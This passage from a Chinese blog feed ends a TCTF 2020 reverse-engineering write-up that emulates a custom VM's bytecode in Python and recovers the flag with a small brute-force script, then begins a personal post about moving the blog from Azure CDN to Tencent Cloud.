class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line">orig = [<span class="number">0x10260080</span>, <span class="number">0x00000000</span>, <span class="number">0x00000000</span>, <span class="number">0x00000000</span>, <span class="number">0x00800180</span>, <span class="number">0x00000280</span>, <span class="number">0x00800180</span>, <span class="number">0x00000000</span>, <span class="number">0x1D090900</span>, <span class="number">0x00000900</span>, <span class="number">0x05000A00</span>, <span class="number">0x14000600</span>, <span class="number">0x01000900</span>, <span class="number">0x01000A00</span>, <span class="number">0x08000B00</span>, <span class="number">0x01000900</span>, <span class="number">0xE0FF0600</span>, <span class="number">0x11000900</span>, <span class="number">0x09000200</span>, <span class="number">0x030048B2</span>, <span class="number">0xA9720900</span>, <span class="number">0x07000500</span>, <span class="number">0x09004401</span>, <span class="number">0x02001100</span>, <span class="number">0x48B20900</span>, <span class="number">0x09000300</span>, <span class="number">0x05007E09</span>, <span class="number">0x2E010700</span>, <span class="number">0x11000900</span>, <span class="number">0x09000200</span>, <span class="number">0x030048B2</span>, <span class="number">0x60550900</span>, <span class="number">0x07000500</span>, <span class="number">0x09001801</span>, <span class="number">0x02001100</span>, <span class="number">0x48B20900</span>, <span class="number">0x09000300</span>, <span class="number">0x0500A14C</span>, <span class="number">0x02010700</span>, <span class="number">0x11000900</span>, <span class="number">0x09000200</span>, <span class="number">0x030048B2</span>, <span class="number">0x37000900</span>, <span class="number">0x07000500</span>, <span class="number">0x0900EC00</span>, <span class="number">0x02001100</span>, <span class="number">0x48B20900</span>, <span class="number">0x09000300</span>, <span class="number">0x050071AA</span>, <span class="number">0xD6000700</span>, <span class="number">0x11000900</span>, <span class="number">0x09000200</span>, <span class="number">0x030048B2</span>, <span class="number">0x2C120900</span>, <span class="number">0x07000500</span>, <span class="number">0x0900C000</span>, <span class="number">0x02001100</span>, <span class="number">0x48B20900</span>, <span class="number">0x09000300</span>, <span class="number">0x05003645</span>, <span class="number">0xAA000700</span>, <span class="number">0x11000900</span>, <span class="number">0x09000200</span>, <span class="number">0x030048B2</span>, <span class="number">0xE8110900</span>, <span class="number">0x07000500</span>, <span class="number">0x09009400</span>, <span class="number">0x02001100</span>, <span class="number">0x48B20900</span>, <span class="number">0x09000300</span>, <span class="number">0x05004712</span>, <span class="number">0x7E000700</span>, <span class="number">0x11000900</span>, <span class="number">0x09000200</span>, <span class="number">0x030048B2</span>, <span class="number">0xC7760900</span>, <span class="number">0x07000500</span>, <span class="number">0x09006800</span>, <span class="number">0x02001100</span>, <span class="number">0x48B20900</span>, <span class="number">0x09000300</span>, <span class="number">0x05006D09</span>, <span class="number">0x52000700</span>, <span class="number">0x11000900</span>, <span class="number">0x09000200</span>, <span class="number">0x030048B2</span>, <span class="number">0x2C120900</span>, <span class="number">0x07000500</span>, <span class="number">0x09003C00</span>, <span class="number">0x02001100</span>, <span class="number">0x48B20900</span>, <span class="number">0x09000300</span>, <span class="number">0x0500CB87</span>, <span class="number">0x26000700</span>, <span class="number">0x11000900</span>, <span class="number">0x09000200</span>, <span class="number">0x030048B2</span>, <span class="number">0xE4090900</span>, <span class="number">0x07000500</span>, <span class="number">0x09001000</span>, <span class="number">0x07001D09</span>, <span class="number">0x09000800</span>, <span class="number">0x0B000000</span>, <span class="number">0x09000D00</span>, <span class="number">0x0B000100</span>, <span class="number">0xDDE40D00</span>, <span class="number">0x6C6C7CAC</span>, <span class="number">0xD8B41BC8</span>, <span class="number">0xBAD7365B</span>, <span class="number">0x183F502C</span>, <span class="number">0xA1D248EF</span>, <span class="number">0xFF5A2F91</span>, <span class="number">0xA868CC67</span>, <span class="number">0xE48978A1</span>, <span class="number">0x54B968BF</span>, <span class="number">0x0065E01D</span>, <span class="number">0x0A0E4574</span>, <span class="number">0x6AE27932</span>, <span class="number">0x3B337A5A</span>, <span class="number">0x70A5812A</span>, <span class="number">0x66178002</span>, <span class="number">0xF7A600A2</span>, <span class="number">0x2097FD67</span>, <span class="number">0x69BD7DB9</span>, <span class="number">0xC3BC4229</span>, <span class="number">0xCBDB5CB8</span>, <span class="number">0x491B2CCB</span>, <span class="number">0xFD93B6D1</span>, <span class="number">0xD9735472</span>, <span class="number">0xC953C3EB</span>, <span class="number">0x44A8341C</span>, <span class="number">0x21F987F1</span>, <span class="number">0x163FECE8</span>, <span class="number">0x969EF4C6</span>, <span class="number">0x5422BDAA</span>, <span class="number">0x769F2DB0</span>, <span class="number">0x3A384F0E</span>, <span class="number">0xCE22439D</span>, <span class="number">0x1C845620</span>, <span class="number">0xE22838CE</span>, <span class="number">0x59E20579</span>, <span class="number">0x1FED8C37</span>, <span class="number">0x9CA5E63B</span>, <span class="number">0xC1D78E1E</span>, <span class="number">0x0B9DA21F</span>, <span class="number">0xADAAA050</span>, <span class="number">0x3B3FF509</span>, <span class="number">0xE5F0A239</span>, <span class="number">0x74ED3875</span>, <span class="number">0xF428491E</span>, <span class="number">0x045988C6</span>, <span class="number">0xCE79945F</span>, <span class="number">0x306D11E0</span>, <span class="number">0x8B5A4388</span>, <span class="number">0x0D2A4365</span>, <span class="number">0x06155428</span>, <span class="number">0x47D87921</span>, <span class="number">0x933CB9DB</span>, <span class="number">0x1AE5B43A</span>, <span class="number">0xEB9C3573</span>, <span class="number">0xB0A3CBB8</span>, <span class="number">0xA9E07C20</span>, <span class="number">0x376A7E60</span>, <span class="number">0x3AC87999</span>, <span class="number">0xFF22732E</span>, <span class="number">0x5AECA38D</span>, <span class="number">0x9080C504</span>, <span class="number">0xA63CA03B</span>, <span class="number">0x4A2D3659</span>, <span class="number">0x7CE34674</span>, <span class="number">0x6F42F442</span>, <span class="number">0x180E34CC</span>, <span class="number">0xBE6771C2</span>, <span class="number">0x8E93EE6D</span>, <span class="number">0xA00E7012</span>, <span class="number">0x98BFC4C1</span>, <span class="number">0x78A3A1FC</span>, <span class="number">0xF17FA9DD</span>, <span class="number">0xD85B22F0</span>, <span class="number">0x096CBB37</span>, <span class="number">0x01329A96</span>, <span class="number">0xF456E6BA</span>, <span class="number">0xB2696C61</span>, <span class="number">0xA0F3B059</span>]</span><br><span class="line"></span><br><span class="line">addr3d20 = [<span class="number">0</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(orig))]</span><br><span class="line"></span><br><span class="line">addr82000 = [<span class="number">0</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0x1000</span>)]</span><br><span class="line"></span><br><span class="line">addrflag = [<span class="number">0</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0x10</span>)]</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0x10</span>):</span><br><span class="line">    addrflag[i] = <span class="built_in">ord</span>(<span class="string">&#x27;a&#x27;</span>) + i </span><br><span class="line"></span><br><span class="line">baseflag = <span class="number">0x80008004</span></span><br><span class="line"></span><br><span class="line">base2 = <span class="number">0x80018000</span></span><br><span class="line"></span><br><span class="line">base = <span class="number">0x80003d20</span></span><br><span class="line"></span><br><span class="line">fp = [<span class="number">0</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">100</span>)]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">#https://stackoverflow.com/questions/27506474/how-to-byte-swap-a-32-bit-integer-in-python</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">swap32</span>(<span class="params">i</span>):</span><br><span class="line">    <span class="keyword">return</span> struct.unpack(<span class="string">&quot;&lt;I&quot;</span>, struct.pack(<span class="string">&quot;&gt;I&quot;</span>, i))[<span class="number">0</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pp</span>(<span class="params">l</span>):</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> l:</span><br><span class="line">        <span class="built_in">print</span>(<span class="built_in">hex</span>(i))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pp2</span>(<span class="params">l</span>):</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot; &quot;</span>.join(<span class="built_in">map</span>(<span class="built_in">hex</span>, l)))</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(addr3d20)):</span><br><span class="line">    addr3d20[i] = swap32(orig[i])</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sub_read</span>():</span><br><span class="line">    <span class="keyword">global</span> ptr</span><br><span class="line">    ptr -= <span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> area[ptr]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">write_add</span>(<span class="params">a0</span>):</span><br><span class="line">    <span class="keyword">global</span> ptr, area</span><br><span class="line">    area[ptr] = a0</span><br><span class="line">    ptr += <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">ss</span>(<span class="params">v</span>):</span><br><span class="line">    v = v + (v&gt;&gt;<span class="number">31</span>)</span><br><span class="line">    <span class="keyword">return</span> ((v&gt;&gt;<span class="number">1</span>)&lt;&lt;<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">idx = <span class="number">0x80003d40</span></span><br><span class="line">ptr = <span class="number">0</span></span><br><span class="line">area = [<span class="number">0</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0x200</span>)]</span><br><span class="line"></span><br><span class="line">plus2 = <span class="built_in">set</span>([</span><br><span class="line">    <span class="number">6</span>,<span class="number">7</span>,<span class="number">9</span></span><br><span class="line">])</span><br><span class="line"></span><br><span class="line">flag = <span class="string">&quot;flag&#123;123456789123456789&#125;&quot;</span></span><br><span class="line">divide_flag = <span class="number">9</span> <span class="comment"># 0x80003d24 origin (len+1)/2</span></span><br><span class="line">flagptr = <span class="number">0</span></span><br><span class="line">mdd= <span class="number">0x3bbc9</span></span><br><span class="line">cmds = &#123;</span><br><span class="line">    <span class="number">0x9</span> : <span class="string">&quot;push&quot;</span>,</span><br><span class="line">    <span class="number">0xa</span> : <span class="string">&quot;push divide flag&quot;</span>,</span><br><span class="line">    <span class="number">0x5</span> : <span class="string">&quot;cmp&quot;</span>,</span><br><span class="line">    <span class="number">0x6</span> : <span class="string">&quot;jneqz&quot;</span>,</span><br><span class="line">    <span class="number">0x7</span> : <span class="string">&quot;jeqz&quot;</span>,</span><br><span class="line">    <span class="number">0x1</span> : <span class="string">&quot;sub&quot;</span>,</span><br><span class="line">    <span class="number">0x0</span> : <span class="string">&quot;add&quot;</span>,</span><br><span class="line">    <span class="number">0x2</span> : <span class="string">&quot;mul&quot;</span>,</span><br><span class="line">    <span class="number">0x3</span> : <span class="string">&quot;mod&quot;</span>,</span><br><span class="line">    <span class="number">0x4</span> : <span class="string">&quot;cmpless&quot;</span>,</span><br><span class="line">    <span class="number">0x8</span> : <span class="string">&quot;push flag&quot;</span>,</span><br><span class="line">    <span class="number">0xB</span> : <span class="string">&quot;pop divide flag&quot;</span>,</span><br><span class="line">    <span class="number">0xC</span> : <span class="string">&quot;subptr&quot;</span>,</span><br><span class="line">    <span class="number">0xD</span> : <span class="string">&quot;end&quot;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    current_addr = idx</span><br><span class="line">    second = <span class="literal">None</span></span><br><span class="line">    <span class="keyword">if</span> (idx - base) % <span class="number">4</span> == <span class="number">0</span>:</span><br><span class="line">        wd = addr3d20[(idx - base)//<span class="number">4</span>]</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        wd = ((addr3d20[(idx - base)//<span class="number">4</span>] &amp; <span class="number">0xFFFF</span>) &lt;&lt; <span class="number">16</span> ) + ((addr3d20[(idx - base)//<span class="number">4</span> + <span class="number">1</span>] &amp; <span class="number">0xFFFF0000</span>) &gt;&gt; <span class="number">16</span>)</span><br><span class="line">    first = (wd &amp; <span class="number">0xFFFF000</span>) &gt;&gt; <span class="number">16</span></span><br><span class="line">    idx += <span class="number">2</span></span><br><span class="line">    <span class="keyword">if</span> first <span class="keyword">in</span> plus2:</span><br><span class="line">        second = wd &amp; <span class="number">0xFFFF</span></span><br><span class="line">        <span class="keyword">if</span> (first == <span class="number">0x6</span> <span class="keyword">or</span> first == <span class="number">0x7</span>) <span class="keyword">and</span> second &gt; <span class="number">0x1000</span>:</span><br><span class="line">            second = second - <span class="number">0x10000</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;<span class="subst">&#123;<span class="built_in">hex</span>(current_addr - <span class="number">0x80003d40</span>)&#125;</span> <span class="subst">&#123;<span class="built_in">hex</span>(first)&#125;</span> <span class="subst">&#123;cmds[first]&#125;</span> <span class="subst">&#123;<span class="built_in">hex</span>(second)&#125;</span>&quot;</span>)</span><br><span class="line">        idx += <span class="number">2</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;<span class="subst">&#123;<span class="built_in">hex</span>(current_addr - <span class="number">0x80003d40</span>)&#125;</span> <span class="subst">&#123;<span class="built_in">hex</span>(first)&#125;</span> <span class="subst">&#123;cmds[first]&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="keyword">if</span> first == <span class="number">0xD</span>:</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">elif</span> first &lt; <span class="number">0xD</span>:</span><br><span class="line">        <span class="keyword">if</span> first == <span class="number">0x9</span>:</span><br><span class="line">            write_add(second)</span><br><span class="line">        <span class="keyword">elif</span> first == <span class="number">0xa</span>:</span><br><span class="line">            write_add(divide_flag)</span><br><span class="line">        <span class="keyword">elif</span> first == <span class="number">0x5</span>:</span><br><span class="line">            r = sub_read() ^ sub_read()</span><br><span class="line">            <span class="keyword">if</span> r &lt; <span class="number">1</span>:</span><br><span class="line">                r = <span class="number">0</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                r = <span class="number">1</span></span><br><span class="line">            write_add(r)</span><br><span class="line">        <span class="keyword">elif</span> first == <span class="number">0x6</span>:</span><br><span class="line">            <span class="keyword">if</span> sub_read() == <span class="number">0</span>:</span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line">            <span class="comment">#idx += ss(second)</span></span><br><span class="line">        <span class="keyword">elif</span> first == <span class="number">0x7</span>:</span><br><span class="line">            <span class="keyword">if</span> sub_read() != <span class="number">0</span>:</span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line">            <span class="comment">#idx += ss(second)</span></span><br><span class="line">        <span class="keyword">elif</span> first == <span class="number">0x1</span>:</span><br><span class="line">            r = sub_read() - sub_read()</span><br><span class="line">            write_add(r)</span><br></pre></td></tr></table></figure><p>最后可以得到关键验证逻辑的伪代码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br></pre></td><td class="code"><pre><span class="line">0x0 0x9 push 0x91d</span><br><span class="line">0x4 0x9 push 0x0</span><br><span class="line">0x8 0xa push divide flag</span><br><span class="line">0xa 0x5 cmp</span><br><span class="line">0xc 0x6 jneqz 0x14 =&gt; 0x24</span><br><span class="line">0x10 0x9 push 0x1</span><br><span class="line">0x14 0xa push divide flag</span><br><span class="line">0x16 0x1 sub</span><br><span class="line">0x18 0xb pop divide flag</span><br><span class="line">0x1a 0x8 push flag</span><br><span class="line">0x1c 0x9 push 0x1</span><br><span class="line">0x20 0x6 jneqz -0x20 =&gt; 0x4</span><br><span class="line">0x24 0x9 push 0x11</span><br><span class="line">0x28 0x2 mul # mul last two bytes of flag</span><br><span class="line">0x2a 0x9 push 0xb248</span><br><span class="line">0x2e 0x3 mod # result % 0xb248</span><br><span class="line">0x30 0x9 push 0x72a9</span><br><span class="line">0x34 0x5 cmp</span><br><span class="line">0x36 0x7 jeqz 0x144 =&gt; 0x17C fail</span><br><span class="line">0x3a 0x9 push 0x11</span><br><span class="line">0x3e 0x2 mul</span><br><span class="line">0x40 0x9 push 0xb248</span><br><span class="line">0x44 0x3 mod</span><br><span class="line">0x46 0x9 push 0x97e</span><br><span class="line">0x4a 0x5 cmp</span><br><span class="line">0x4c 0x7 jeqz 0x12e</span><br><span class="line">0x50 0x9 push 0x11</span><br><span class="line">0x54 0x2 mul</span><br><span class="line">0x56 0x9 push 0xb248</span><br><span class="line">0x5a 0x3 mod</span><br><span class="line">0x5c 0x9 push 0x5560</span><br><span class="line">0x60 0x5 cmp</span><br><span class="line">0x62 0x7 jeqz 0x118</span><br><span class="line">0x66 0x9 push 0x11</span><br><span class="line">0x6a 0x2 mul</span><br><span class="line">0x6c 0x9 push 0xb248</span><br><span class="line">0x70 0x3 mod</span><br><span class="line">0x72 0x9 push 0x4ca1</span><br><span class="line">0x76 0x5 cmp</span><br><span class="line">0x78 0x7 jeqz 0x102</span><br><span class="line">0x7c 0x9 push 0x11</span><br><span class="line">0x80 0x2 mul</span><br><span class="line">0x82 0x9 push 0xb248</span><br><span class="line">0x86 0x3 mod</span><br><span class="line">0x88 0x9 push 0x37</span><br><span class="line">0x8c 0x5 cmp</span><br><span class="line">0x8e 0x7 jeqz 0xec</span><br><span class="line">0x92 0x9 push 0x11</span><br><span class="line">0x96 0x2 mul</span><br><span class="line">0x98 0x9 push 0xb248</span><br><span class="line">0x9c 0x3 mod</span><br><span class="line">0x9e 0x9 push 0xaa71</span><br><span class="line">0xa2 0x5 cmp</span><br><span class="line">0xa4 0x7 jeqz 0xd6</span><br><span class="line">0xa8 0x9 push 0x11</span><br><span class="line">0xac 0x2 mul</span><br><span class="line">0xae 0x9 push 0xb248</span><br><span class="line">0xb2 0x3 mod</span><br><span class="line">0xb4 0x9 push 0x122c</span><br><span class="line">0xb8 0x5 cmp</span><br><span class="line">0xba 0x7 jeqz 0xc0</span><br><span class="line">0xbe 0x9 push 0x11</span><br><span class="line">0xc2 0x2 mul</span><br><span class="line">0xc4 0x9 push 0xb248</span><br><span class="line">0xc8 0x3 mod</span><br><span class="line">0xca 0x9 push 0x4536</span><br><span class="line">0xce 0x5 cmp</span><br><span class="line">0xd0 0x7 jeqz 0xaa</span><br><span class="line">0xd4 0x9 push 0x11</span><br><span class="line">0xd8 0x2 mul</span><br><span class="line">0xda 0x9 push 0xb248</span><br><span class="line">0xde 0x3 mod</span><br><span class="line">0xe0 0x9 push 0x11e8</span><br><span class="line">0xe4 0x5 cmp</span><br><span class="line">0xe6 0x7 jeqz 0x94</span><br><span class="line">0xea 0x9 push 0x11</span><br><span class="line">0xee 0x2 mul</span><br><span class="line">0xf0 0x9 push 0xb248</span><br><span class="line">0xf4 0x3 mod</span><br><span class="line">0xf6 0x9 push 0x1247</span><br><span class="line">0xfa 0x5 cmp</span><br><span class="line">0xfc 0x7 jeqz 0x7e</span><br><span class="line">0x100 0x9 push 0x11</span><br><span class="line">0x104 0x2 mul</span><br><span class="line">0x106 0x9 push 0xb248</span><br><span class="line">0x10a 0x3 mod</span><br><span class="line">0x10c 0x9 push 0x76c7</span><br><span class="line">0x110 0x5 cmp</span><br><span class="line">0x112 0x7 jeqz 0x68</span><br><span class="line">0x116 0x9 push 0x11</span><br><span class="line">0x11a 0x2 mul</span><br><span class="line">0x11c 0x9 push 0xb248</span><br><span class="line">0x120 0x3 mod</span><br><span class="line">0x122 0x9 push 0x96d</span><br><span class="line">0x126 0x5 cmp</span><br><span class="line">0x128 0x7 jeqz 0x52</span><br><span class="line">0x12c 0x9 push 0x11</span><br><span class="line">0x130 0x2 mul</span><br><span class="line">0x132 0x9 push 0xb248</span><br><span class="line">0x136 0x3 mod</span><br><span class="line">0x138 0x9 push 0x122c</span><br><span class="line">0x13c 0x5 cmp</span><br><span class="line">0x13e 0x7 jeqz 0x3c</span><br><span class="line">0x142 0x9 push 0x11</span><br><span class="line">0x146 0x2 mul</span><br><span class="line">0x148 0x9 push 0xb248</span><br><span class="line">0x14c 0x3 mod</span><br><span class="line">0x14e 0x9 push 0x87cb</span><br><span class="line">0x152 0x5 cmp</span><br><span class="line">0x154 0x7 jeqz 0x26</span><br><span class="line">0x158 0x9 push 0x11</span><br><span class="line">0x15c 0x2 mul</span><br><span class="line">0x15e 0x9 push 0xb248</span><br><span class="line">0x162 0x3 mod</span><br><span class="line">0x164 0x9 push 0x9e4</span><br><span class="line">0x168 0x5 cmp</span><br><span class="line">0x16a 0x7 jeqz 0x10</span><br><span class="line">0x16e 0x9 push 0x91d</span><br><span class="line">0x172 0x7 jeqz 0x8</span><br><span class="line">0x176 0x9 push 0x0</span><br><span class="line">0x17a 0xb pop divide flag</span><br><span class="line">0x17c 0xd end</span><br></pre></td></tr></table></figure><p>逻辑非常直白，读入所有用户输入后，倒着每两个字节和 0x11 相乘然后对0x0b248 取模看是否等于特定的数值，写一个脚本直接算出 flag。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">toequal = [<span class="number">0x72a9</span>, <span class="number">0x97e</span>, <span class="number">0x5560</span>, <span class="number">0x4ca1</span>, <span class="number">0x37</span>, <span class="number">0xaa71</span>, <span class="number">0x122c</span>, <span class="number">0x4536</span>, <span class="number">0x11e8</span>, <span class="number">0x1247</span>, <span class="number">0x76c7</span>, <span class="number">0x96d</span>, <span class="number">0x122c</span>, <span class="number">0x87cb</span>, <span class="number">0x9e4</span>]</span><br><span class="line">fl = <span class="string">&quot;&quot;</span></span><br><span class="line"><span class="keyword">for</span> eq <span class="keyword">in</span> toequal:</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0xFFFF</span>):</span><br><span class="line">        <span class="keyword">if</span> i * <span class="number">0x11</span> % <span class="number">0xb248</span> == eq:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;last two bytes: <span class="subst">&#123;struct.pack(<span class="string">&#x27;&gt;H&#x27;</span>, i)&#125;</span>&quot;</span>)</span><br><span class="line">            fl = struct.pack(<span class="string">&#x27;&gt;H&#x27;</span>, i).decode(<span class="string">&quot;utf-8&quot;</span>) + fl</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line"><span class="built_in">print</span>(fl)</span><br></pre></td></tr></table></figure><p>得到 flag 为 <code>flag&#123;it's_time_to_pwn_this_machine!&#125;</code>。</p><h2 id="后记">后记</h2><blockquote><p>一瓶可乐一包零食，一个逆向做一天。</p></blockquote><p>不得不说这次 TCTF 2020第一道逆向题就给我带来了非常大的惊喜<del>浪费了我一天半的时间</del>，帮我复习了一大波mips知识还有操作系统的基础知识，让我见识到了程序还能这样执行。如果有可能，我倒是更想知道这道题是怎么出的。:)</p><p>上文中的脚本和IDA数据库均已经打包，见<ahref="/TCTF2020/wp.zip">这里</a>。</p><h2 id="reference">Reference</h2><ul><li><ahref="http://american.cs.ucdavis.edu/academic/ecs154b/154bpdf/MIPSinterrupts.pdf">Slide</a></li><li><ahref="http://www.it.uu.se/education/course/homepage/os/vt18/module-0/mips-and-mars/mips-memory-layout/">Mars</a></li><li><ahref="https://ti.tuwien.ac.at/cps/teaching/courses/cavo/files/MIPS32-IS.pdf">MipsIS</a></li></ul>]]></content:encoded>
      
      
      <category domain="http://blog.ihomura.cn/categories/CTF/">CTF</category>
      
      <category domain="http://blog.ihomura.cn/categories/CTF/TCTF/">TCTF</category>
      
      
      <category domain="http://blog.ihomura.cn/tags/WriteUp/">WriteUp</category>
      
      <category domain="http://blog.ihomura.cn/tags/Reverse-Engineering/">Reverse Engineering</category>
      
      <category domain="http://blog.ihomura.cn/tags/Mips/">Mips</category>
      
      
      <comments>http://blog.ihomura.cn/2020/07/02/WriteUp-TCTF2020-flash/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>有关博客的一些碎碎念</title>
      <link>http://blog.ihomura.cn/2020/06/11/%E6%9C%89%E5%85%B3%E5%8D%9A%E5%AE%A2%E7%9A%84%E4%B8%80%E4%BA%9B%E7%A2%8E%E7%A2%8E%E5%BF%B5/</link>
      <guid>http://blog.ihomura.cn/2020/06/11/%E6%9C%89%E5%85%B3%E5%8D%9A%E5%AE%A2%E7%9A%84%E4%B8%80%E4%BA%9B%E7%A2%8E%E7%A2%8E%E5%BF%B5/</guid>
      <pubDate>Thu, 11 Jun 2020 14:52:54 GMT</pubDate>
      
      <description>&lt;h2 id=&quot;前言&quot;&gt;前言&lt;/h2&gt;
&lt;p&gt;最近终于稍微闲了一点可以花点时间把博客整理一下了&lt;del&gt;你鸽了多久心里没数吗&lt;/del&gt;，这篇文章算是这个过程中的一些碎碎念吧。&lt;/p&gt;
&lt;p&gt;本文为非技术文章。&lt;/p&gt;</description>
      
      
      
      <content:encoded><![CDATA[<h2 id="前言">前言</h2><p>最近终于稍微闲了一点可以花点时间把博客整理一下了<del>你鸽了多久心里没数吗</del>，这篇文章算是这个过程中的一些碎碎念吧。</p><p>本文为非技术文章。</p><span id="more"></span><h2 id="备案以及域名更换">备案以及域名更换</h2><p>有些人可能注意到本博客的域名从 https://ihomura.cn 正式更换到了https://blog.ihomura.cn ，然而这背后的故事还得从 Azure 说起。</p><p>大概一个月前，我在跟别人聊天的时候发现我的博客证书居然过期了。当时我的博客是托管在AzureCDN上，由AzureCDN负责自动申请新证书，所以我第一时间登录了控制台，结果一看，原来是新增加了一个选项TLS1.1/TLS1.2需要设置后才能签新证书，但是我选择任意一个都没法保存，这时候右上角的提示就有意思了。</p><img src="/2020/06/11/%E6%9C%89%E5%85%B3%E5%8D%9A%E5%AE%A2%E7%9A%84%E4%B8%80%E4%BA%9B%E7%A2%8E%E7%A2%8E%E5%BF%B5/azure.jpg" class=""><p>这我就想不通了，既然没法给顶级域名签发证书，为什么不发个邮件提醒一下呢？就算没提醒好歹控制台直接告诉我原因也行吧，结果只有到保存的时候才告诉真实原因，不知道是什么思路。</p><p>吐槽归吐槽，那不得赶紧换域名，然后我轻车熟路重新上了个https://blog.ihomura.cn ，设置好了 CNAME提交HTTPS证书配置请求就去睡觉了，结果第二天起来一看域名所有权还没审核通过，读了文档才知道一般这种情况是验证失败，需要向域名邮箱发送确认邮件。</p><p>好嘛，那我就再等等，结果这封邮件直到我从 Azure CDN删除了所有配置后的第七天才抵达我的邮箱 :)</p><p>所以当时等了两天后我决定直接放弃 AzureCDN，但是域名没有备案，考察了一圈免备案 CDN后，出于<del>没钱</del>各种原因，想了想反正已经关站两三天了，不如就直接备案得了，于是在腾讯云购买了一个云服务器走备案流程。具体的坑就不表了，在等待了十多天后我的备案号终于下来了，现在博客整体迁移到了腾讯云CDN，不过也只是先试用，之后还会考察一些其他 CDN。</p><p>换了国内 CDN 